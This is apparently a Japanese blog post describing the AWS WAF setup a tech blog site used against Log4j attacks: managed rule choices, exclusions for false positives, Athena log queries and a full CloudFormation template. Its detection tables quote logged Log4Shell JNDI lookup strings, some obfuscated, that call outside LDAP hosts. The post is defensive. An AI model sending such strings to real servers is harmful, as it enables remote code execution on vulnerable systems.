Log4j 脆弱性攻撃の遮断を開始した当ブログサイトのAWS WAF設定を紹介します

Log4j 脆弱性対策としてAWSブログで紹介されているAWS WAFのマネージドルールを利用した当ブログサイト(DevelopersIO)の保護設定と、副作用対策について紹介します。
2021.12.24

この記事は公開されてから1年以上経過しています。情報が古い可能性がありますので、ご注意ください。

AWSチームのすずきです。

AWSブログで紹介されている、Log4j 脆弱性対策として紹介されているマネージドルール「Log4JRCE」「AnonymouousIPList」「sizeRestrictions_BODY」を利用して、 当ブログサイト(DevelopersIO)の保護を行う機会がありました。

この過程で行ったマネージドルールの評価と、誤検知による副作用を回避する設定について紹介させて頂きます。

評価環境設定

先に紹介した「Log4JRCE」を含む AWSManagedRulesknownBadInputsRuleSet に加え、AWSManagedRulesCommonRuleSet、AWSManagedRulesAnonymousIpList を追加した環境を用意しました。

Log4j 脆弱性に対する AWS セキュリティサービスを利用した保護、検知、対応

AWSManagedRulesknownBadInputsRuleSet 特に、Log4j の脆弱性の存在についてリクエストを検査するのに役立つ Log4JRCE ルールを設定します。パターンの例としては、${jndi:ldap://example.com/} などがあります。

AWSManagedRulesAnonymousIpList 特に、AnonymouousIPList は、クライアント情報を匿名化することで知られるアクセス元の IP アドレスを検査するのに役立つ ルールです。

AWSManagedRulesCommonRuleSet 特に、 sizeRestrictions_BODY ルールは、リクエスト本文のサイズが最大 8 KB (8,192 バイト) であることを検証します。

全てのルールで OverrideAction は Count: {}。 検出(カウント)のみに利用する設定としました。

WebACL

      Rules:
        - Name: AWS-AWSManagedRulesKnownBadInputsRuleSet
          Priority: 10
          Statement:
            ManagedRuleGroupStatement:
              VendorName: AWS
              Name: AWSManagedRulesKnownBadInputsRuleSet
          OverrideAction:
            Count: {}
          VisibilityConfig:
            CloudWatchMetricsEnabled: true
            MetricName: !Sub '${AWS::StackName}-AWSManagedRulesKnownBadInputsRuleSet'
            SampledRequestsEnabled: true
        - Name: AWS-AWSManagedRulesCommonRuleSet
          Priority: 11
          Statement:
            ManagedRuleGroupStatement:
              VendorName: AWS
              Name: AWSManagedRulesCommonRuleSet
          OverrideAction:
            Count: {}
          VisibilityConfig:
            CloudWatchMetricsEnabled: true
            MetricName: !Sub '${AWS::StackName}-AWSManagedRulesCommonRuleSet'
            SampledRequestsEnabled: true
        - Name: AWS-AWSManagedRulesAnonymousIpList
          Priority: 12
          Statement:
            ManagedRuleGroupStatement:
              VendorName: AWS
              Name: AWSManagedRulesAnonymousIpList
          OverrideAction:
            Count: {}
          VisibilityConfig:
            CloudWatchMetricsEnabled: true
            MetricName: !Sub '${AWS::StackName}-AWSManagedRulesAnonymousIpList'
            SampledRequestsEnabled: true

LoggingConfiguration

AWS WAF ログのフィルター設定を変更。 ブロックに加え、カウントのログも記録する設定としました。

      LoggingFilter:
        DefaultBehavior: DROP
        Filters:
          - Behavior: KEEP
            Conditions:
              - ActionCondition:
                  Action: BLOCK
            Requirement: MEETS_ALL
          - Behavior: KEEP
            Conditions:
              - ActionCondition:
                  Action: COUNT
            Requirement: MEETS_ANY

ルール別検出結果

4日間のAWS WAFのログ解析をAthenaを利用して行いました。

テーブル設定

CREATE EXTERNAL TABLE `waf_logs`(
    `timestamp` bigint COMMENT 'from deserializer',
    `formatversion` int COMMENT 'from deserializer',
    `webaclid` string COMMENT 'from deserializer',
    `terminatingruleid` string COMMENT 'from deserializer',
    `terminatingruletype` string COMMENT 'from deserializer',
    `action` string COMMENT 'from deserializer',
    `terminatingrulematchdetails` array < struct < conditiontype :string,
    location :string,
    matcheddata :array < string > > > COMMENT 'from deserializer',
    `httpsourcename` string COMMENT 'from deserializer',
    `httpsourceid` string COMMENT 'from deserializer',
    `rulegrouplist` array < struct < rulegroupid :string,
    terminatingrule :struct < ruleid :string,
    action :string,
    rulematchdetails :string >,
    nonterminatingmatchingrules :array < struct < ruleid :string,
    action :string,
    rulematchdetails :array < struct < conditiontype :string,
    location :string,
    matcheddata :array < string > > > > >,
    excludedrules :array < struct < ruleid :string,
    exclusiontype :string > > > > COMMENT 'from deserializer',
    `ratebasedrulelist` array < struct < ratebasedruleid :string,
    limitkey :string,
    maxrateallowed :int > > COMMENT 'from deserializer',
    `nonterminatingmatchingrules` array < struct < ruleid :string,
    action :string > > COMMENT 'from deserializer',
    `requestheadersinserted` string COMMENT 'from deserializer',
    `responsecodesent` string COMMENT 'from deserializer',
    `httprequest` struct < clientip :string,
    country :string,
    headers :array < struct < name :string,
    value :string > >,
    uri :string,
    args :string,
    httpversion :string,
    httpmethod :string,
    requestid :string > COMMENT 'from deserializer',
    `labels` array < struct < name :string > > COMMENT 'from deserializer'
) PARTITIONED BY
    (
        `day` string
    ) ROW FORMAT SERDE 'org.openx.data.jsonserde.JsonSerDe' 
    STORED AS INPUTFORMAT 'org.apache.hadoop.mapred.TextInputFormat' 
    OUTPUTFORMAT 'org.apache.hadoop.hive.ql.io.HiveIgnoreKeyTextOutputFormat' 
    LOCATION 's3://<S3BUCKET_NAME>/AWSLogs/<ACCOUNT_ID>/WAFLogs/<REGION>/###-webacl' TBLPROPERTIES(
        'projection.day.format' = 'yyyy/MM/dd',
        'projection.day.interval' = '1',
        'projection.day.interval.unit' = 'DAYS',
        'projection.day.range' = '2021/01/01,NOW',
        'projection.day.type' = 'date',
        'projection.enabled' = 'true',
        'storage.location.template' = 's3://<S3BUCKET_NAME>/AWSLogs/<ACCOUNT_ID>/WAFLogs/<REGION>/###-webacl/${day}'
    )

Log4JRCE

期間中の誤検知はなく ブロックに利用する事としました。

  • URL、ユーザエージェント別集計
detections country url UserAgent
20 CN / curl/7.58.0
4 US / Mozilla/5.0 (platform; rv:geckoversion) Gecko/geck
4 US / ${j${k8s:k5:-ND}i${sd:k5:-:}ldap://#.#.132.224
4 US / curl/7.58.0
3 - / Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) Ap
3 DE / Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb
2 US / t(${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap
2 US /${jndi:ldap Mozilla/5.0 (platform; rv:geckoversion) Gecko/geck
1 CN / ${jndi:ldap://#.#.118.127:1389/Exploit}
1 IN / ${jndi:ldap://${hostName}.useragent.c70lkfc1nvnl0h
1 US /login Mozilla/5.0 (platform; rv:geckoversion) Gecko/geck
1 US / ${jndi:ldap://#.#.118.127:1389/Exploit}
1 SG / Mozilla/5.0 AppleWebKit/537.73 (KHTML, like Gecko)
1 RU / Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb
  • 抽出SQL
SELECT
  COUNT(1) as detections,
  httprequest.country,
  SUBSTRING(httprequest.uri, 1, 12) AS url_12,
  SUBSTRING(unnest_headers.VALUE, 1, 50) AS UserAgent_50
FROM
  waf_logs
  CROSS JOIN UNNEST(labels) AS s(unnest_labels)
  CROSS JOIN UNNEST(httprequest.headers) AS s(unnest_headers)
WHERE
  day BETWEEN '2021/12/19' AND '2021/12/22'
AND unnest_labels.name = 'awswaf:managed:aws:known-bad-inputs:Log4JRCE'
AND LOWER(unnest_headers.name) = 'user-agent'
GROUP BY
  httprequest.country,
  SUBSTRING(httprequest.uri, 1, 12),
  SUBSTRING(unnest_headers.VALUE, 1, 50)
ORDER BY
  COUNT(1) DESC

SizeRestrictions_Body

AWS WAF、リクエストボディを最初の8 KB(8,192 バイト)のみ検査する仕様。 WAF検査を回避した攻撃を検知できる可能性がありますが、正規CMS操作、長文記事が保存された時のリクエストが検出されていました。

Core rule set (CRS) managed rule group

Verifies that the request body size is at most 8 KB (8,192 bytes).

正規のCMS操作を除外するルールを追加した上で、ブロックに利用する事としました。

  • URL、ユーザエージェント別集計
detections country url UserAgent
135 JP /wp-admin/ad Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Ap
117 JP /wp-admin/po Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Ap
63 JP /wp-admin/ad Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb
38 TH /wp-admin/po Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Ap
36 JP /wp-admin/po Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb
28 JP /wp-admin/as Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb
25 TH /wp-admin/ad Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Ap
19 JP /wp-admin/as Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Ap
3 DE /wp-admin/po Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Ap
2 DE /wp-admin/ad Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Ap
1 KR /wp-admin/ad Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Ap
SELECT
  COUNT(1) as detections,
  httprequest.country,
  SUBSTRING(httprequest.uri,1,12) as url,
  SUBSTRING(unnest_headers.VALUE, 1, 50) AS UA
FROM
  waf_logs
  CROSS JOIN UNNEST(labels) AS s(unnest_labels)
  CROSS JOIN UNNEST(httprequest.headers) AS s(unnest_headers)
WHERE
  day BETWEEN '2021/12/19' AND '2021/12/22'
AND unnest_labels.name = 'awswaf:managed:aws:core-rule-set:SizeRestrictions_Body'
AND LOWER(unnest_headers.name) = 'user-agent'
GROUP BY
  httprequest.country,
  SUBSTRING(httprequest.uri,1,12),
  SUBSTRING(unnest_headers.VALUE, 1, 50)
ORDER BY
  COUNT(1) DESC

AnonymousIPList

AnonymousIPList は、悪意のある攻撃の際に利用されやすい「匿名プロキシ(Anonymous Proxy)」、「Tor ノード(IP 発信元の匿名化)」、「VPN」、「ホスティングプロバイダー」が定義されたルールです。

正規のクローラーと推測されるリクエストが検出されていた事から、正規ページ、実害のないパスについては除外するルールを追加する事としました。

detections country url UserAgent
48 - /feed/ Selfoss/2.18 (SimplePie/1.5.1; +https://selfoss.ad
6 - / Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb
5 US /robots.txt Mozilla/5.0 (compatible; Yahoo! Slurp; http://help
4 US /server-side Mozilla/5.0 (compatible; Yahoo! Slurp; http://help
4 - /favicon.ico Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb
3 - / Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) Ap
3 US /smartphone/ Mozilla/5.0 (compatible; Yahoo! Slurp; http://help
3 DE /feed/ Selfoss/2.18 (SimplePie/1.5.1; +https://selfoss.ad
2 - /favicon.ico Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/201001
2 - /vendor/phpu Mozilla/5.0 (X11; Ubuntu; 2040 ;Linux i686; rv:28.
2 - /app/vendor/ Mozilla/5.0 (X11; Ubuntu; 2405 ;Linux i686; rv:28.
2 US /cloud/aws/a Mozilla/5.0 (compatible; Yahoo! Slurp; http://help
2 US /cloud/route Mozilla/5.0 (compatible; Yahoo! Slurp; http://help
2 - /articles/el Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/201001
2 - /vendor/phpu Mozilla/5.0 (X11; Ubuntu; 2505 ;Linux i686; rv:28.
2 - /vendor/phpu Mozilla/5.0 (X11; Ubuntu; 1568 ;Linux i686; rv:28.
SELECT
  COUNT(1) as detections,
  httprequest.country,
  SUBSTRING(httprequest.uri, 1, 12) AS url_12,
  SUBSTRING(unnest_headers.VALUE, 1, 50) AS UserAgent_50
FROM
  waf_logs
  CROSS JOIN UNNEST(labels) AS s(unnest_labels)
  CROSS JOIN UNNEST(httprequest.headers) AS s(unnest_headers)
WHERE
  day BETWEEN '2021/12/19' AND '2021/12/22'
AND unnest_labels.name = 'awswaf:managed:aws:anonymous-ip-list:AnonymousIPList'
AND LOWER(unnest_headers.name) = 'user-agent'
GROUP BY
  httprequest.country,
  SUBSTRING(httprequest.uri, 1, 12),
  SUBSTRING(unnest_headers.VALUE, 1, 50)
ORDER BY
  COUNT(1) DESC

ルール設定

誤判定による副作用を避けるため、例外設定の追加を行いました。

IPSet

信頼できるIPアドレスのホワイトリストを用意しました。

  IPSetWhiteList:
    Type: AWS::WAFv2::IPSet
    Properties:
      Name: !Sub '${AWS::StackName}-IPSetWhiteList'
      Scope: REGIONAL
      IPAddressVersion: IPV4
      Addresses:
        - 192.0.2.0/32
        - 198.51.100.0/32
  IPSetWhiteListV6:
    Type: AWS::WAFv2::IPSet
    Properties:
      Name: !Sub '${AWS::StackName}-IPSetWhiteListV6'
      Scope: REGIONAL
      IPAddressVersion: IPV6
      Addresses:
        - 2001:db8::/32

Aloowルール

  • ホワイトリストに登録された信頼できるIPアドレスを許可しました
  • CMSの正規ログイン時に付与される特的のクッキー文字列が含まれるリクエストを許可しました。
  • 他のルールより最優先で評価される Priority 指定を行いました。
      Rules:
        - Action:
            Allow: {}
          Name: !Sub '${AWS::StackName}-allow-rule'
          Priority: 1
          VisibilityConfig:
            SampledRequestsEnabled: false
            CloudWatchMetricsEnabled: false
            MetricName: !Sub '${AWS::StackName}-allow-rule'
          Statement:
            OrStatement:
              Statements:
                - IPSetReferenceStatement:
                    Arn: !GetAtt 'IPSetWhiteList.Arn'
                - IPSetReferenceStatement:
                    Arn: !GetAtt 'IPSetWhiteListV6.Arn'
                - RegexMatchStatement:
                    FieldToMatch:
                      SingleHeader:
                        Name: cookie
                    RegexString: COOKIEKEY.*=.*
                    TextTransformations:
                      - Type: NONE
                        Priority: 0

AWSManagedRulesAnonymousIpList

  • 「AnonymousIPList」以外のルール、ExcludedRules 指定で除外しました。
  • 日本国内からのIPアドレスは、リスクは低いとして副作用回避を優先して除外しました。
  • リクエストのURLが特定のURL、攻撃成立リスクの少ないパスは除外しました。
        - Name: AWS-AWSManagedRulesAnonymousIpList
          Priority: 11
          Statement:
            ManagedRuleGroupStatement:
              VendorName: AWS
              Name: AWSManagedRulesAnonymousIpList
              ExcludedRules:
                - Name: HostingProviderIPList
              ScopeDownStatement:
                AndStatement:
                  Statements:
                    - NotStatement:
                        Statement:
                          GeoMatchStatement:
                            CountryCodes:
                              - JP
                    - NotStatement:
                        Statement:
                          ByteMatchStatement:
                            FieldToMatch:
                              UriPath: {}
                            PositionalConstraint: CONTAINS
                            SearchString: /feed
                            TextTransformations:
                              - Type: NONE
                                Priority: 0
                    - NotStatement:
                        Statement:
                          RegexMatchStatement:
                            FieldToMatch:
                              UriPath: {}
                            RegexString: ^/articles/.*/$
                            TextTransformations:
                              - Type: NONE
                                Priority: 0

AWSManagedRulesCommonRuleSet

  • 「SizeRestrictions_Body」以外のルール、ExcludedRules 指定で除外しました。
        - Name: AWS-AWSManagedRulesCommonRuleSet
          Priority: 12
          Statement:
            ManagedRuleGroupStatement:
              VendorName: AWS
              Name: AWSManagedRulesCommonRuleSet
              ExcludedRules:
                - Name: NoUserAgent_HEADER
                - Name: UserAgent_BadBots_HEADER
                - Name: SizeRestrictions_QUERYSTRING
                - Name: SizeRestrictions_Cookie_HEADER
                - Name: SizeRestrictions_URIPATH
                - Name: EC2MetaDataSSRF_BODY
                - Name: EC2MetaDataSSRF_COOKIE
                - Name: EC2MetaDataSSRF_URIPATH
                - Name: EC2MetaDataSSRF_QUERYARGUMENTS
                - Name: GenericLFI_QUERYARGUMENTS
                - Name: GenericLFI_URIPATH
                - Name: GenericLFI_BODY
                - Name: RestrictedExtensions_URIPATH
                - Name: RestrictedExtensions_QUERYARGUMENTS
                - Name: GenericRFI_QUERYARGUMENTS
                - Name: GenericRFI_BODY
                - Name: GenericRFI_URIPATH
                - Name: CrossSiteScripting_COOKIE
                - Name: CrossSiteScripting_QUERYARGUMENTS
                - Name: CrossSiteScripting_BODY
                - Name: CrossSiteScripting_URIPATH

ダッシュボード更新

「Log4JRCE」、「AWSManagedRulesAnonymousIpList」、「SizeRestrictions_Body」のブロック実績を表示するようにしました。

developersio-log4jrce

遮断ログの確認

ブロックが意図した状態である事を確認します。

誤判定によるブロック実績が確認された場合、除外ルールの追加などを行います。

  • 当日、前日の遮断ログのリクエスト確認
SELECT
  date_format(from_unixtime(timestamp / 1000) AT TIME ZONE 'Asia/Tokyo', '%Y/%m/%dT%H:%i:%s') AS "JST",
  labels,
  httprequest.country,
  httprequest.clientip,
  httprequest.uri,
  httprequest.headers
FROM
  waf_logs
WHERE
  day BETWEEN date_format(current_timestamp + interval '-1' day, '%Y/%m/%d') AND date_format(current_timestamp, '%Y/%m/%d')
AND ACTION = 'BLOCK'
ORDER BY
  timestamp DESC

まとめ

AWS WAF のみで Log4j 脆弱性を狙う攻撃を完全に防ぐ事は困難ですが、 AWS が提供する複数のマネージドルールを利用する事で、リスクの軽減効果は期待出来ると思われます。

利用するワークロードによってはマネージドルールの誤判定が生じる可能性もありますので、 遮断運用を開始する前に、充分な評価を実施頂くことをおすすめします。

CloudFormationテンプレート全文

  • 「COOKIEKEY」と、許可IPアドレス以外、当サイトの保護に利用中のWAF設定です
AWSTemplateFormatVersion: '2010-09-09'
Description: AWS WAF to mitigate the Log4j2 vulnerability v20211223
Resources:
  IPSetWhiteList:
    Type: AWS::WAFv2::IPSet
    Properties:
      Name: !Sub '${AWS::StackName}-IPSetWhiteList'
      Scope: REGIONAL
      IPAddressVersion: IPV4
      Addresses:
        - 13.231.11.115/32
        - 13.231.60.144/32
  IPSetWhiteListV6:
    Type: AWS::WAFv2::IPSet
    Properties:
      Name: !Sub '${AWS::StackName}-IPSetWhiteListV6'
      Scope: REGIONAL
      IPAddressVersion: IPV6
      Addresses:
        - 2001:db8::/32
  WebACL:
    Type: AWS::WAFv2::WebACL
    Properties:
      Name: !Sub '${AWS::StackName}-webacl'
      DefaultAction:
        Allow: {}
      Description: AWS WAF to mitigate the Log4j2 vulnerability v20211223
      Scope: REGIONAL
      Tags:
        - Key: StackName
          Value: !Sub '${AWS::StackName}'
      VisibilityConfig:
        CloudWatchMetricsEnabled: true
        MetricName: !Sub '${AWS::StackName}'
        SampledRequestsEnabled: false
      Rules:
        - Action:
            Allow: {}
          Name: !Sub '${AWS::StackName}-allow-rule'
          Priority: 1
          VisibilityConfig:
            SampledRequestsEnabled: false
            CloudWatchMetricsEnabled: false
            MetricName: !Sub '${AWS::StackName}-allow-rule'
          Statement:
            OrStatement:
              Statements:
                - IPSetReferenceStatement:
                    Arn: !GetAtt 'IPSetWhiteList.Arn'
                - IPSetReferenceStatement:
                    Arn: !GetAtt 'IPSetWhiteListV6.Arn'
                - RegexMatchStatement:
                    FieldToMatch:
                      SingleHeader:
                        Name: cookie
                    RegexString: COOKIEKEY.*=.*
                    TextTransformations:
                      - Type: NONE
                        Priority: 0
        - Name: AWS-AWSManagedRulesKnownBadInputsRuleSet
          Priority: 10
          Statement:
            ManagedRuleGroupStatement:
              VendorName: AWS
              Name: AWSManagedRulesKnownBadInputsRuleSet
              ExcludedRules:
                - Name: Host_localhost_HEADER
                - Name: PROPFIND_METHOD
                - Name: ExploitablePaths_URIPATH
          OverrideAction:
            None: {}
          VisibilityConfig:
            CloudWatchMetricsEnabled: true
            MetricName: !Sub '${AWS::StackName}-AWSManagedRulesKnownBadInputsRuleSet'
            SampledRequestsEnabled: true
        - Name: AWS-AWSManagedRulesAnonymousIpList
          Priority: 11
          Statement:
            ManagedRuleGroupStatement:
              VendorName: AWS
              Name: AWSManagedRulesAnonymousIpList
              ExcludedRules:
                - Name: HostingProviderIPList
              ScopeDownStatement:
                AndStatement:
                  Statements:
                    - NotStatement:
                        Statement:
                          GeoMatchStatement:
                            CountryCodes:
                              - JP
                    - NotStatement:
                        Statement:
                          ByteMatchStatement:
                            FieldToMatch:
                              UriPath: {}
                            PositionalConstraint: CONTAINS
                            SearchString: /feed
                            TextTransformations:
                              - Type: NONE
                                Priority: 0
                    - NotStatement:
                        Statement:
                          RegexMatchStatement:
                            FieldToMatch:
                              UriPath: {}
                            RegexString: ^/articles/.*/$
                            TextTransformations:
                              - Type: NONE
                                Priority: 0
          OverrideAction:
            None: {}
          VisibilityConfig:
            CloudWatchMetricsEnabled: true
            MetricName: !Sub '${AWS::StackName}-AWSManagedRulesAnonymousIpList'
            SampledRequestsEnabled: true
        - Name: AWS-AWSManagedRulesCommonRuleSet
          Priority: 12
          Statement:
            ManagedRuleGroupStatement:
              VendorName: AWS
              Name: AWSManagedRulesCommonRuleSet
              ExcludedRules:
                - Name: NoUserAgent_HEADER
                - Name: UserAgent_BadBots_HEADER
                - Name: SizeRestrictions_QUERYSTRING
                - Name: SizeRestrictions_Cookie_HEADER
                - Name: SizeRestrictions_URIPATH
                - Name: EC2MetaDataSSRF_BODY
                - Name: EC2MetaDataSSRF_COOKIE
                - Name: EC2MetaDataSSRF_URIPATH
                - Name: EC2MetaDataSSRF_QUERYARGUMENTS
                - Name: GenericLFI_QUERYARGUMENTS
                - Name: GenericLFI_URIPATH
                - Name: GenericLFI_BODY
                - Name: RestrictedExtensions_URIPATH
                - Name: RestrictedExtensions_QUERYARGUMENTS
                - Name: GenericRFI_QUERYARGUMENTS
                - Name: GenericRFI_BODY
                - Name: GenericRFI_URIPATH
                - Name: CrossSiteScripting_COOKIE
                - Name: CrossSiteScripting_QUERYARGUMENTS
                - Name: CrossSiteScripting_BODY
                - Name: CrossSiteScripting_URIPATH
          OverrideAction:
            None: {}
          VisibilityConfig:
            CloudWatchMetricsEnabled: true
            MetricName: !Sub '${AWS::StackName}-AWSManagedRulesCommonRuleSet'
            SampledRequestsEnabled: true
  LoggingConfiguration:
    Type: AWS::WAFv2::LoggingConfiguration
    DependsOn: S3Bucket
    Properties:
      ResourceArn: !GetAtt 'WebACL.Arn'
      LogDestinationConfigs:
        - !GetAtt 'S3Bucket.Arn'
      LoggingFilter:
        DefaultBehavior: DROP
        Filters:
          - Behavior: KEEP
            Conditions:
              - ActionCondition:
                  Action: BLOCK
            Requirement: MEETS_ALL
          - Behavior: KEEP
            Conditions:
              - ActionCondition:
                  Action: COUNT
            Requirement: MEETS_ANY
  S3Bucket:
    Type: AWS::S3::Bucket
    Properties:
      BucketName: !Sub 'aws-waf-logs-${AWS::StackName}-${AWS::Region}-${AWS::AccountId}'
      BucketEncryption:
        ServerSideEncryptionConfiguration:
          - ServerSideEncryptionByDefault:
              SSEAlgorithm: AES256
      LifecycleConfiguration:
        Rules:
          - Id: ExpirationInDays
            Status: Enabled
            ExpirationInDays: 45
          - Id: NoncurrentVersionExpiration
            Status: Enabled
            NoncurrentVersionExpirationInDays: 7
          - Id: ExpiredObjectDeleteMarker
            Status: Enabled
            ExpirationInDays: 7
          - Id: AbortIncompleteMultipartUpload
            Status: Enabled
            AbortIncompleteMultipartUpload:
              DaysAfterInitiation: 3
      PublicAccessBlockConfiguration:
        BlockPublicAcls: true
        BlockPublicPolicy: true
        IgnorePublicAcls: true
        RestrictPublicBuckets: true
      Tags:
        - Key: StackId
          Value: !Sub '${AWS::StackId}'
      VersioningConfiguration:
        Status: Enabled
  S3BucketPolicy:
    Type: AWS::S3::BucketPolicy
    Properties:
      Bucket: !Ref 'S3Bucket'
      PolicyDocument:
        Id: !Sub '${AWS::StackName}-BucketPolicy'
        Statement:
          - Sid: AWSLogDeliveryWrite
            Effect: Allow
            Principal:
              Service: delivery.logs.amazonaws.com
            Action:
              - s3:PutObject
            Resource:
              - !Sub 'arn:aws:s3:::${S3Bucket}/*'
            Condition:
              StringEquals:
                s3:x-amz-acl: bucket-owner-full-control
          - Sid: AWSLogDeliveryAclCheck
            Effect: Allow
            Principal:
              Service: delivery.logs.amazonaws.com
            Action:
              - s3:GetBucketAcl
            Resource:
              - !Sub 'arn:aws:s3:::${S3Bucket}'